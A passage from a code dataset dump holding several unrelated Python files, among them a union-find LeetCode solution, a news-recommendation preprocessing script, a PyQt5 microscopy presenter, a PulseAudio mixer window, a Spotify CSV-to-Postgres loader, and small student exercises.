unittest.main()\r\n","repo_name":"Sciophobia/PRJDiamond","sub_path":"test_APP5.py","file_name":"test_APP5.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28452822535","text":"from typing import List\n\n\nclass UF:\n def __init__(self, n: int):\n self.parent = list(range(n))\n\n def find(self, x: int) -> int:\n if x != self.parent[x]:\n self.parent[x] = self.find(self.parent[x])\n return self.parent[x]\n\n def union(self, x1: int, x2: int):\n self.parent[self.find(x2)] = self.find(x1)\n\n\nclass Solution:\n def isSimilar(self, s1: str, s2: str) -> bool:\n len_s = len(s1)\n diffCount = 0\n\n for i in range(len_s):\n if s1[i] != s2[i]:\n diffCount += 1\n if diffCount > 2:\n return False\n\n return True\n\n def numSimilarGroups(self, strs: List[str]) -> int:\n strs = list(set(strs))\n lenS = len(strs)\n strDict = {s: idx for idx, s in enumerate(strs)}\n\n uf = UF(lenS)\n for i in range(lenS - 1):\n for j in range(i + 1, lenS):\n if self.isSimilar(strs[i], strs[j]):\n uf.union(strDict[strs[i]], strDict[strs[j]])\n\n ans = sum(1 for i in range(lenS) if uf.parent[i] == i)\n return ans\n\n\nif __name__ == '__main__':\n s = Solution()\n while 1:\n strs = input().split()\n print(s.numSimilarGroups(strs))\n\n'''\ntars rats arts star\nomv ovm\n123\nrarct tarcr\nblw bwl wlb\nkoqnn knnqo noqnk nqkon\nqihcochwmglyiggvsqqfgjjxu gcgqxiysqfqugmjgwclhjhovi gjhoggxvcqlcsyifmqgqujwhi wqoijxciuqlyghcvjhgsqfmgg qshcoghwmglygqgviiqfjcjxu jgcxqfqhuyimjglgihvcqsgow qshcoghwmggylqgviiqfjcjxu wcoijxqiuqlyghcvjhgsqgmgf qshcoghwmglyiqgvigqfjcjxu qgsjggjuiyihlqcxfovchqmwg wcoijxjiuqlyghcvqhgsqgmgf sijgumvhqwqioclcggxgyhfjq lhogcgfqqihjuqsyicxgwmvgj ijhoggxvcqlcsygfmqgqujwhi qshcojhwmglyiqgvigqfgcjxu wcoijxqiuqlyghcvjhgsqfmgg qshcojhwmglyiggviqqfgcjxu lhogcgqqfihjuqsyicxgwmvgj xscjjyfiuglqigmgqwqghcvho lhggcgfqqihjuqsyicxgwmvoj lhgocgfqqihjuqsyicxgwmvgj qihcojhwmglyiggvsqqfgcjxu ojjycmqshgglwicfqguxvihgq sijvumghqwqioclcggxgyhfjq gglhhifwvqgqcoyumcgjjisqx\nrarct tarcr ratcr\nabc abc abc dfg\n\n'''\n","repo_name":"ykf173/coding_everyday","sub_path":"others/并查集/839.py","file_name":"839.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11826992496","text":"import os\nimport json\nimport pickle\nimport argparse\nimport math\nimport pandas as pd\nimport numpy as np\nimport multiprocessing as mp\nimport random\nfrom tqdm import tqdm\n\nrandom.seed(7)\n\ndef build_examples(rank, args, df, news_info, user_info, fout):\n data_list = []\n input_len = 2 + 2 + (1 + args.pos_hist_length + args.neg_hist_length + args.unclicked_hist_length)\n\n for imp_id, uid, imp in tqdm(df[[\"id\", \"uid\", \"imp\"]].values, total=df.shape[0]):\n if uid not in user_info:\n continue\n his_idx_list = user_info[uid][\"pos\"] + user_info[uid][\"neg\"] + user_info[uid][\"unclicked\"]\n\n imp_list = str(imp).split(' ')\n\n has_one = False\n has_zero = False\n for impre in imp_list:\n arr = impre.split('-')\n curn = news_info[arr[0]]['idx']\n label = int(arr[1])\n if label == 1:\n has_one = True\n else:\n has_zero = True\n \n if not (has_one and has_zero):\n continue\n \n for impre in imp_list:\n arr = impre.split('-')\n curn = news_info[arr[0]]['idx']\n label = int(arr[1])\n \n new_row = []\n new_row.append(int(imp_id))\n new_row.append(label)\n # idx\n new_row.append(user_info[uid]['idx'])\n new_row.append(curn)\n # title\n new_row.append(curn)\n new_row += his_idx_list\n assert(len(new_row) == input_len)\n data_list.append(new_row)\n \n datanp = np.array(data_list, dtype=int)\n np.save(fout, datanp)\n print(datanp.shape)\n\ndef main(args):\n f_dev_beh = os.path.join(args.root, args.fsamples)\n if args.dataset == 'MIND':\n df = pd.read_csv(f_dev_beh, sep=\"\\t\", encoding=\"utf-8\", names=[\"id\", \"uid\", \"time\", \"hist\", \"imp\"])\n else:\n df = pd.read_csv(f_dev_beh, sep=\"\\t\", encoding=\"utf-8\", names=[\"id\", \"uid\", \"imp\"])\n news_info = pickle.load(open('{}/news_n.pkl'.format(args.root), 'rb'))\n user_info = pickle.load(open('{}/user_n.pkl'.format(args.root), 'rb'))\n\n subdf_len = math.ceil(len(df) / args.processes)\n cut_indices = [x * subdf_len for x in range(1, args.processes)]\n dfs = np.split(df, cut_indices)\n\n processes = []\n for i in range(args.processes):\n output_path = os.path.join(args.root, args.fout, \"{}-{}.npy\".format(args.type, i))\n p = mp.Process(target=build_examples, args=(\n i, args, dfs[i], news_info, user_info, output_path))\n p.start()\n processes.append(p)\n\n for p in processes:\n p.join()\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n # Path options.\n parser.add_argument(\"--fsamples\", default=\"dev/target_behaviors.tsv\", type=str,\n help=\"Path of the dev samples file.\")\n parser.add_argument(\"--fout\", default=\"raw\", type=str,\n help=\"Path of the output dir.\")\n parser.add_argument(\"--neg_count\", default=4, type=int)\n parser.add_argument(\"--processes\", default=40, type=int, help=\"Processes number\")\n parser.add_argument(\"--pos_hist_length\", default=30, type=int)\n parser.add_argument(\"--neg_hist_length\", default=30, type=int)\n parser.add_argument(\"--unclicked_hist_length\", default=30, type=int)\n\n parser.add_argument(\"--root\", default=\"data\", type=str)\n parser.add_argument(\"--dataset\", default=\"MIND\", type=str)\n parser.add_argument(\"--type\", default='dev', type=str)\n args = parser.parse_args()\n\n main(args)\n\n","repo_name":"chungdz/DFNRec","sub_path":"prepocess/build_valid.py","file_name":"build_valid.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22137200190","text":"#!/usr/bin/env python\n\n\"\"\"\nÉcrire dans un tableau un liste de prénom et dans un autre, une liste d‘animaux.\nGérer des surnoms aléatoire avec.\n\"\"\"\n\nfrom random import random\n\nprenoms = ['Dédé', 'Firmin', 'Léon', 'Agathe', 'Didier', 'Conan']\nanimaux = ['la galinette cendrée', 'le lémurien', 'le frelon', 'la blatte', 'le bourdon', 'le barbare']\n\nfor i in range(4):\n print(\n prenoms[int(random()*len(prenoms))],\n animaux[int(random()*len(animaux))]\n )\n","repo_name":"ysur59/exercices_python","sub_path":"exo_tableaux.py","file_name":"exo_tableaux.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"28923225434","text":"from PyQt5.QtCore import pyqtSignal, QObject, Qt\nfrom PyQt5.QtWidgets import QApplication\nimport Model.InputOutput as IO\nimport Model.DataExtractor as DE\nimport Model.ImagePreProcessor as PP\nimport Model.StackAnalyser as SA\nimport Model.CellSegmenter as CS\nfrom View.MainViewer import MainViewer\nfrom Model.DataHolder import DataHolder as DH\nimport time\nfrom PyQt5 import QtCore as qtc\n\n\nclass MainPresenter(QObject):\n sendFolder = pyqtSignal()\n sendPath = pyqtSignal()\n sendMeta = pyqtSignal()\n\n\n ch = 0\n currentIndex = 0\n\n effectiveBool = False\n corrBool = False\n\n GraphIndex = 0\n\n SegmentedIndex = 0\n\n def __init__(self):\n super(MainPresenter, self).__init__()\n self.view = MainViewer()\n\n self.view.BrowseFolderClicked.connect(lambda: self.onBrowseFolderClicked())\n self.sendFolder.connect(lambda: self.view.changeFolderPathDisplay())\n\n # 1. tab dolgai\n self.view.BrowseClicked.connect(lambda: self.onBrowseClicked())\n self.sendPath.connect(lambda: self.view.changePathDisplay())\n self.view.LoadClicked.connect(lambda: self.onLoadClicked())\n self.sendMeta.connect(lambda: self.view.changeMetaDisplay())\n\n # 2. tab dolgai\n self.view.PPStartClicked.connect(lambda: self.onStartClicked())\n self.view.NextClicked.connect(lambda: self.NextClicked())\n self.view.PrevClicked.connect(lambda: self.PrevClicked())\n self.view.DapiClicked.connect(lambda: self.DapiClicked())\n self.view.AlxClicked.connect(lambda: self.AlxClicked())\n\n # 3. tab dolgai\n self.view.EffectiveClicked.connect(lambda: self.EffectiveClicked())\n self.view.CorrClicked.connect(lambda: self.CorrClicked())\n self.view.ExecuteClicked.connect(lambda: self.ExecuteClicked())\n self.view.NextGraphClicked.connect(lambda: self.NextGraphClicked())\n self.view.PrevGraphClicked.connect(lambda: self.PrevGraphClicked() )\n\n #4. tab dolgai\n self.view.BeginClicked.connect(lambda: self.BeginClicked())\n self.view.NextStepClicked.connect(lambda: self.NextStepClicked())\n self.view.PriorStepClicked.connect(lambda: self.PriorStepClicked())\n\n self.view.show()\n\n\n # legyen mindegyik simán \"<gombnév>Clicked\" ne pedig on, mert az megegyezik a MainViewerbeni naminggel.\n\n def onBrowseFolderClicked(self):\n IO.browseFolder()\n self.sendFolder.emit()\n\n\n def onBrowseClicked(self):\n IO.browseFile()\n self.sendPath.emit()\n\n def onLoadClicked(self):\n now = time.time()\n QApplication.setOverrideCursor(Qt.WaitCursor)\n DE.nd2_processor()\n QApplication.restoreOverrideCursor()\n future = time.time()\n\n self.view.ui.statusBar.showMessage(\"Loading finished in \" + str(future-now) + \" seconds\")\n IO.save_metadata_to_csv()\n self.sendMeta.emit()\n\n\n def onStartClicked(self):\n now = time.time()\n QApplication.setOverrideCursor(Qt.WaitCursor)\n PP.preprocess_images()\n QApplication.restoreOverrideCursor()\n future = time.time()\n self.view.ui.statusBar.showMessage('Pre-processing finished')\n print('I finished the preprocess, about to start the save')\n IO.save_pre_processed_to_destination()\n self.SendImage()\n\n def DapiClicked(self):\n self.ch = 0\n self.SendImage()\n\n def AlxClicked(self):\n self.ch = 1\n self.SendImage()\n\n def NextClicked(self):\n self.currentIndex += 1\n self.SendImage()\n\n def PrevClicked(self):\n self.currentIndex -= 1\n self.SendImage()\n\n def SendImage(self):\n stackLen = len(DH.PreProcessedImageStack[self.ch])\n\n print(stackLen)\n if self.currentIndex < 0:\n self.currentIndex = stackLen - 1\n elif self.currentIndex >= stackLen:\n self.currentIndex = 0\n\n print(str(self.ch) + \" | \" + str(self.currentIndex))\n if self.ch == 0:\n self.view.ui.statusBar.showMessage(\"DAPI image: \" + str(self.currentIndex) + \" / \" + str(stackLen))\n else:\n self.view.ui.statusBar.showMessage(\"Alx647 image: \" + str(self.currentIndex) + \" / \" + str(stackLen))\n\n self.view.changePictureDisplay(self.ch, self.currentIndex)\n\n\n def EffectiveClicked(self):\n self.effectiveBool = True\n self.BothTrue()\n\n def CorrClicked(self):\n self.corrBool = True\n self.BothTrue()\n\n def BothTrue(self):\n if self.effectiveBool == True and self.corrBool == True:\n self.view.enableStartButton()\n print(\"enabled start button\")\n\n def NextGraphClicked(self):\n self.GraphIndex += 1\n self.SendGraph()\n\n def PrevGraphClicked(self):\n self.GraphIndex -= 1\n self.SendGraph()\n\n def SendGraph(self):\n graphsLen = len(DH.Graphs)\n\n print(graphsLen)\n if self.GraphIndex < 0:\n self.GraphIndex = graphsLen - 1\n elif self.GraphIndex >= graphsLen:\n self.GraphIndex = 0\n\n print(self.GraphIndex)\n self.view.changeGraphDisplay(self.GraphIndex)\n\n def ExecuteClicked(self):\n now = time.time()\n QApplication.setOverrideCursor(Qt.WaitCursor)\n SA.analyse_stack(\n self.view.getEffectiveNum(),\n self.view.getCorrNum()\n )\n QApplication.restoreOverrideCursor()\n future = time.time()\n self.view.ui.statusBar.showMessage(\"Stack analysis finished in \" + str(future - now) + \" seconds\")\n self.view.enableNextPrevButton()\n IO.create_and_save_graph()\n self.SendGraph()\n\n def NextStepClicked(self):\n self.SegmentedIndex += 1\n self.SendSegmented()\n\n def PriorStepClicked(self):\n self.SegmentedIndex -= 1\n self.SendSegmented()\n\n def SendSegmented(self):\n segmentedLen = len(DH.SegmentedImages)\n\n print(segmentedLen)\n if self.SegmentedIndex < 0:\n self.SegmentedIndex = segmentedLen - 1\n elif self.SegmentedIndex >= segmentedLen:\n self.SegmentedIndex = 0\n print(self.SegmentedIndex)\n self.view.ui.statusBar.showMessage(\"Segmented image: \" + str(self.SegmentedIndex))\n self.view.changeSegmentDisplay(self.SegmentedIndex)\n\n def BeginClicked(self):\n now = time.time()\n QApplication.setOverrideCursor(Qt.WaitCursor)\n CS.segment_cells_into_parts()\n QApplication.restoreOverrideCursor()\n future = time.time()\n self.view.ui.statusBar.showMessage(\"Segmentation finished in \" + str(future - now) + \" seconds\")\n IO.createVideoFromImageData()\n self.SendSegmented()\n\n","repo_name":"ChrisPollini/AutoMD","sub_path":"Presenter/MainPresenter.py","file_name":"MainPresenter.py","file_ext":"py","file_size_in_byte":6684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3434049833","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom helper import *\n\n\n# ## The Bishops\n\n# The bishop is a piece in the game of chess whose movement are limited two diagonals. As a consequence of its diagonal movement, each bishop always remains on either the white or black squares, and so it is also common to refer to them as light-squared or dark-squared bishops. Bishops, like all other pieces except the knight, cannot jump over other pieces.\n\n# In[2]:\n\n\nboard = fenBoard('8/8/8/8/1Q1P4/1b2R3/8/6b1 b - - 0 1')\ndisplay(displayBoard(board))\ngetTurn(board)\n\n\n# **Question:** What are possible moves for the black bishops?\n\n# In[3]:\n\n\ndisplay(displayLegalBoard(board))\ngetTurn(board)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"xanibas/gh-pages","sub_path":"_build/jupyter_execute/section106.py","file_name":"section106.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"19219558845","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\ndf = pd.read_excel(\"VendasAleatorio.xlsx\")\n\ndf.plot(kind=\"line\", x=\"MESES\", y=\"VENDAS\")\n\nplt.xlabel(\"Meses\")\nplt.ylabel(\"Quantidade de Vendas\")\n\nplt.title(\"Gráfico de Vendas 23/24/25\")\n\nplt.grid(True)\nplt.show()\n\n\n","repo_name":"SamuelJEAlves/Data-Graph","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"22790698125","text":"class Solution(object):\n def longestPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n \n import collections\n wordDict=collections.defaultdict(int)\n count=0\n \n for word in s:\n wordDict[word]+=1\n odd=False\n for i in wordDict:\n if wordDict[i]%2==0:\n count+=wordDict[i]\n else:\n count+=(wordDict[i]-1)\n odd=True\n return count+1 if odd else count\n \n \n \nclass Solution(object):\n def longestPalindrome(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n freq=[0]*128\n for c in s:\n freq[ord(c)]+=1\n \n ans=0\n odd=0\n for fre in freq:\n ans+=fre&(~1)\n odd |=fre&1\n \n return ans+odd\n","repo_name":"vincent-kangzhou/Leetcode_Easy","sub_path":"409_Longest Palindrome.py","file_name":"409_Longest Palindrome.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"40339650089","text":"from modules.output import *\nfrom modules.task_list import *\nfrom modules.input import *\n\nwhile(True):\n data_import = input(\"Do you want to load existing tasks? Y or N (press Q to quit): \").upper()\n if data_import == \"Y\":\n from data.task_list import *\n break\n elif data_import == \"N\":\n tasks = []\n break\n elif data_import == 'Q':\n quit()\n\nwhile (True):\n print_menu()\n # option = input(\"Select an option 1, 2, 3, 4, 5, display (m)enu or (q)uit: \")\n option = user_input()\n if (option.lower() == 'q'):\n break\n if option == '1':\n print_list(tasks)\n elif option == '2':\n print_list(get_uncompleted_tasks(tasks))\n elif option == '3':\n print_list(get_completed_tasks(tasks))\n elif option == '4':\n description = input(\"Enter task description to search for: \")\n task = get_task_with_description(tasks, description)\n if task is not None:\n mark_task_complete(task)\n print(\"Task marked complete\")\n else:\n print(\"Task not found\")\n elif option == '5':\n time = int(input(\"Enter task duration: \"))\n print_list(get_tasks_taking_at_least(tasks, time))\n elif option == '6':\n description = input(\"Enter task description to search for: \")\n print(get_task_with_description(tasks, description))\n elif option == '7':\n description = input(\"Enter description: \")\n time_taken = int(input(\"Enter time taken: \"))\n task = create_task(description, time_taken)\n tasks.append(task)\n else:\n print(\"Invalid Input - choose another option\")\n","repo_name":"matthewmcfarlane/d4lab_modules_functions","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3817937044","text":"# -*-*- encoding: utf-8 -*-*-\n# pylint: disable=E1101\nfrom __future__ import absolute_import, unicode_literals\nimport logging\nimport json\nfrom django.core.exceptions import ObjectDoesNotExist, MultipleObjectsReturned\nfrom editor.models import NetworkDefinition\nfrom .nnetwork import CALMNetwork\n\nlogger = logging.getLogger(__name__)\n\n\ndef load_network(name):\n \"\"\"Sets up a CALM network by loading the definition\n using the given name and accompanying input patterns.\"\"\"\n\n try:\n definition = NetworkDefinition.objects.get(name=name)\n except ObjectDoesNotExist:\n logger.error(\"No network with name {0}\".format(name))\n return\n except MultipleObjectsReturned:\n logger.error(\"Multiple networks with name {0}\".format(name))\n return\n\n if not definition.definition:\n logger.warning(\"No definition found for {0}\".format(name))\n return\n\n definition_data = json.loads(definition.definition)\n network = CALMNetwork(name=name, parameters=definition.get_parameters())\n network.build_from_definition(definition_data)\n network.load_patterns()\n return network\n","repo_name":"adriaant/calmpy","sub_path":"simulator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"19942149522","text":"import sip\nfrom PyQt5 import Qt\nfrom PyQt5.QtWidgets import (QApplication, QWidget, QSizePolicy, QHBoxLayout,\n QDesktopWidget)\nfrom py_pulse_tray_mixer import slider\nfrom py_pulse_tray_mixer import icon\nfrom py_pulse_tray_mixer.trayicon import TrayIcon\n\n\nclass MixerWindow(QWidget):\n\n sinks = {}\n inputs = {}\n\n def __init__(self, ml, pa, trayicon, parent=None):\n QWidget.__init__(self, parent, Qt.Qt.Dialog | Qt.Qt.FramelessWindowHint)\n self.trayicon = trayicon\n self.ml = ml\n self.pa = pa\n self.setWindowTitle(\"Mixer\")\n self.icoFinder = icon.IconFinder([icon.CONTEXT_APPLICATION,\n icon.CONTEXT_DEVICE])\n self.setSizePolicy(QSizePolicy(QSizePolicy.Minimum,\n QSizePolicy.Expanding))\n\n contype = Qt.Qt.BlockingQueuedConnection\n pa.input_manager.added.connect(self.input_new, type=contype)\n pa.input_manager.changed.connect(self.input_update, type=contype)\n pa.input_manager.removed.connect(self.input_removed, type=contype)\n\n pa.sink_manager.added.connect(self.sink_new, type=contype)\n pa.sink_manager.changed.connect(self.sink_update, type=contype)\n pa.sink_manager.removed.connect(self.sink_removed, type=contype)\n\n self.sinkLayout = QHBoxLayout()\n self.inputLayout = QHBoxLayout()\n\n layout = QHBoxLayout()\n layout.addLayout(self.inputLayout)\n layout.addLayout(self.sinkLayout)\n\n self.setLayout(layout)\n\n self.redoGeom()\n\n def redoGeom(self):\n self.widg_resize()\n self.reposition()\n\n def widg_resize(self):\n self.setMaximumHeight(300)\n self.setMinimumHeight(300)\n QApplication.processEvents()\n self.resize(0,0)\n self.updateGeometry()\n\n def reposition(self):\n pos = self.trayicon.getPos()\n iconRect = self.trayicon.geometry()\n screenRect = QApplication.desktop().screenGeometry()\n rect = self.rect()\n if (pos & TrayIcon.Possition.RIGHT) > 0:\n rect.setX(screenRect.width() - rect.right() - 5)\n if (pos & TrayIcon.Possition.LEFT) > 0:\n rect.setX(screenRect.left())\n\n if (pos & TrayIcon.Possition.TOP) > 0:\n rect.setY(screenRect.top() + iconRect.bottom())\n if (pos & TrayIcon.Possition.BOTTOM) > 0:\n rect.setY(screenRect.bottom() - iconRect.height() - rect.height() - 10)\n\n self.move(rect.topLeft())\n\n def toggle(self):\n if self.isVisible():\n self.hide()\n self.ml.stop()\n else:\n self.ml.start()\n self.show()\n self.redoGeom()\n\n @staticmethod\n def mk_slider_change_slot(index, cb):\n return lambda value, func=cb: cb(index, value)\n\n def new_item(self, container, layout, item, iconCtx):\n s = slider.Slider(self)\n s.shown.connect(self.redoGeom)\n s.title.setText(item.title)\n s.setVolume(item.volume)\n s.setMuted(item.mute)\n\n icoPath = self.icoFinder.find_icon(iconCtx, item.icon)\n if icoPath is None:\n icoPath = self.icoFinder.find_icon(icon.CONTEXT_DEVICE, 'audio-card')\n s.setIcon(icoPath)\n container[item.index] = s\n layout.addWidget(s)\n return s\n\n def remove_item(self, container, layout, index):\n inp = container[index]\n res = self.inputLayout.removeWidget(inp)\n sip.delete(inp)\n del container[index]\n self.redoGeom()\n\n def update_item(self, container, item):\n container[item.index].setVolume(item.volume)\n container[item.index].setMuted(item.mute)\n\n def sink_new(self, item):\n index = item.index\n s = self.new_item(self.sinks, self.sinkLayout, item,\n icon.CONTEXT_DEVICE)\n\n s.mute.connect(\n self.mk_slider_change_slot(index, self.pa.setSinkMute))\n s.volumeChange.connect(\n self.mk_slider_change_slot(index, self.pa.setSinkVolume))\n\n def sink_update(self, item): self.update_item(self.sinks, item)\n\n def sink_removed(self, id):\n self.remove_item(self.sinks, self.sinkLayout, index)\n\n def input_new(self, item):\n index = item.index\n s = self.new_item(self.inputs, self.inputLayout, item,\n icon.CONTEXT_APPLICATION)\n\n s.mute.connect(\n self.mk_slider_change_slot(index, self.pa.setInputMute))\n s.volumeChange.connect(\n self.mk_slider_change_slot(index, self.pa.setInputVolume))\n\n def input_update(self, item):\n self.update_item(self.inputs, item)\n\n def input_removed(self, index):\n self.remove_item(self.inputs, self.inputLayout, index)\n","repo_name":"lightscaletech/py_pulse_tray_mix","sub_path":"py_pulse_tray_mixer/windowMixer.py","file_name":"windowMixer.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25238038606","text":"\"\"\"Module contains helper functions for LifeRecorder class.\"\"\"\n\nfrom datetime import datetime\nfrom typing import Dict, List\n\n\ndef get_timestamp() -> str:\n \"\"\"Function returns the timestamp.\"\"\"\n\n return datetime.now().strftime(\"%d-%b-%Y %H:%M\")\n\n\ndef update_database(database: Dict, record: Dict) -> Dict:\n \"\"\"Function updates database.\"\"\"\n cp_database = database.copy()\n\n cp_database[\"records\"][str(record[\"id\"])] = record\n\n return cp_database\n\n\ndef construct_record_dict(identifier: str, timestamp: str, tag: str, title: str,\n content: str) -> Dict:\n \"\"\"Returns dictionary of record.\"\"\"\n\n return {\n \"id\": identifier,\n \"timestamp\": timestamp,\n \"tag\": tag,\n \"title\": title,\n \"content\": content\n }\n\n\ndef delete_record(database: Dict, identifier: str) -> Dict:\n \"\"\"Function deletes record from database with given identifier.\"\"\"\n\n cp_database = database.copy()\n del cp_database[\"records\"][identifier]\n return cp_database\n\n\ndef get_record(records: Dict, identifier: str) -> Dict:\n \"\"\"Returns dictionary of single record that matches given identifier.\"\"\"\n\n return records.get(identifier, None)\n\n\ndef add_breakline(func, func_args: List, before: bool = False,\n after: bool = False, both: bool = False) -> None:\n \"\"\"Function adding breaklines depending on arguments provided.\"\"\"\n\n if before:\n print()\n func(*func_args)\n\n elif after:\n func(*func_args)\n print()\n elif both:\n print()\n func(*func_args)\n print()\n\n\ndef print_pretty_record(record: str) -> None:\n \"\"\"Prints a record with provided identifier (id).\"\"\"\n\n print(\n f\"Id: #{record['id']} \\n\"\n f\"Timestamp: {record['timestamp']} \\n\"\n f\"Tag: {record['tag']} \\n\"\n f\"Title: {record['title']} \\n\"\n f\"Content: {record['content']}\"\n )\n","repo_name":"khasizadaj/life_recorder","sub_path":"life_recorder/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11307889558","text":"import io\nimport time\nimport progressbar\nimport csv\nfrom utils import parser\nfrom utils.database import Database\n\nDB_COLS = [\n \"id\",\n \"danceability\",\n \"energy\",\n \"loudness\",\n \"speechiness\",\n \"acousticness\",\n \"instrumentalness\",\n \"liveness\",\n \"valence\",\n \"popularity\",\n \"genre\",\n]\n\n\ndef main():\n config, secrets = parser.setup()\n db = Database(config=config, secrets=secrets)\n\n # short version of SpotifyFeatures.csv is pushed, here the full is used\n data_to_fill = parse_csv(\"../../resources/open-data/SpotifyFeatures.csv\")\n fill_db(db_connection=db, table_name=\"spotify\", file_data=data_to_fill)\n\n\ndef fill_db(db_connection, table_name, file_data):\n start = time.time()\n cur = db_connection.cursor()\n\n # reorder order to fit the db\n re_ordered = []\n for song in file_data:\n new_song = [\n song[3],\n song[6],\n song[8],\n song[12],\n song[14],\n song[5],\n song[9],\n song[11],\n song[17],\n song[4],\n song[0],\n ]\n re_ordered.append(new_song)\n\n # remove csv entries with same id\n current_ids = []\n filtered_data = []\n print(\"Removing duplicates ...\")\n widgets = [progressbar.Percentage(), progressbar.Bar()]\n bar = progressbar.ProgressBar(widgets=widgets, max_value=len(re_ordered)).start()\n i = 0\n for row in re_ordered:\n if row[0] not in current_ids:\n filtered_data.append(row)\n current_ids.append(row[0])\n i += 1\n bar.update(i)\n bar.finish()\n print(\"Removing duplicates finished\")\n\n # list of dictionaries with column names as keys and\n # value as row values to fit the csv_file_like_object\n q_args = []\n for line in filtered_data[0 : len(filtered_data)]:\n q_dict_arg = {}\n for key, value in zip(DB_COLS, line):\n q_dict_arg[key] = value\n\n q_args.append(q_dict_arg)\n\n # make a object csv and copy into db for best performance\n # see: copy_stringio() from https://hakibenita.com/fast-load-data-python-postgresql\n print(\"Inserting into db\")\n csv_file_like_object = io.StringIO()\n\n for arg in q_args:\n csv_file_like_object.write(\"~\".join(map(clean_csv_value, arg.values())) + \"\\n\")\n\n csv_file_like_object.seek(0)\n cur.copy_from(csv_file_like_object, f\"{table_name}\", sep=\"~\")\n\n # commit request\n db_connection.commit()\n end = time.time()\n print(f\"Inserting finished.\" f\"\\nTime required: {round(end - start, 2)} sec.\")\n\n\ndef parse_csv(filename):\n \"\"\"\n Parse csv file\n :param filename:\n :return: headers dictionary {header_name:array_position}\n content: 2d array of lines of csv (split)\n \"\"\"\n csv_content = []\n\n with open(filename, encoding=\"utf-8-sig\") as f:\n headers = f.readline().strip().split(\",\")\n for line in csv.reader(\n f.readlines(),\n quotechar='\"',\n delimiter=\",\",\n quoting=csv.QUOTE_ALL,\n skipinitialspace=True,\n ):\n if len(line) == len(headers):\n csv_content.append(line)\n else:\n print(\n \"The following line in csv caused an error:\"\n \"\\nLenght is not equal to num. of headers\"\n )\n print(line)\n break\n return csv_content\n\n\ndef clean_csv_value(value):\n \"\"\"remove all non-visible \\n in csv before inserting smth\"\"\"\n if value is None:\n return r\"\\N\"\n return str(value).replace(\"\\n\", \"\\\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Tsatsch/music-recommender-system","sub_path":"music-recommender-system/database/fill_db.py","file_name":"fill_db.py","file_ext":"py","file_size_in_byte":3646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"8356058501","text":"'''\nNombre: Monserrat =rduña Basaldua\nDescripcion: evaluacion\nfecha:25/09/2023\n'''\n\n'''\nEscribir un programa en Python que almacene las asignaturas que un estudiante de\nInfraestructura en redes digitales lleva durante el cuarto cuatrimestre \n(por ejemplo, Probabilidad y Estadística, Electrónica para IDC Física, Conexión de redes WAN, \nAdministración de servidores I, Programación de Redes e inglés IV), pregunta la nota que ha sacado\nen la unidad I de cada asignatura, después las muestre en pantalla con el mensaje “En <asignatura> \nhas sacado <nota>” donde asignatura es cada una de las asignaturas de la lista y <nota> cada una de\nlas correspondientes notas.\n\n'''\n\nasignatura = \"Probabilidad y Estadística\"\nasignatura = \"Electrónica para IDC Física\"\nasignatura = \"Conexión de redes WAN\"\nasignatura = \"Administración de servidores I\"\nasignatura = \"Programación de Redes\"\nasignatura = \"Inglés IV\"\n\nnota = +0\nasignatura = float (input (\"Ingresa un valor para asignatura: \"))\nprint (\"que nota has obtenido en la unidad 1 \", nota )\nnota = float (input (\"Ingresa un valor para nota: \"))\n\n\n\nfor asignatura in asignatura:\n nota = float(input(\"Ingresa la nota de la unidad I para: \", asignatura))\n \n asignatura = nota\n\nfor asignatura, nota in asignatura.items():\n print(\"En\", asignatura, \" has sacado \",nota )\n","repo_name":"ordunamonse/programaci-n-de-redes-2023","sub_path":"u1_prob2.py/problema impar2.py","file_name":"problema impar2.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23859394774","text":"import logging.config\n\nfrom fastapi import FastAPI\nfrom starlette.middleware.cors import CORSMiddleware\n\nfrom app.api import api_router\nfrom app.bot.messages import interface_controller\nfrom app.cache import connect_cache, disconnect_cache\nfrom app.config import settings\nfrom app.db import connect_to_mongodb, close_mongodb_connection\nfrom app.helpers.telegram import set_webhook_on_startup\n\nlog_conf = {\n \"version\": 1,\n \"formatters\": {\n 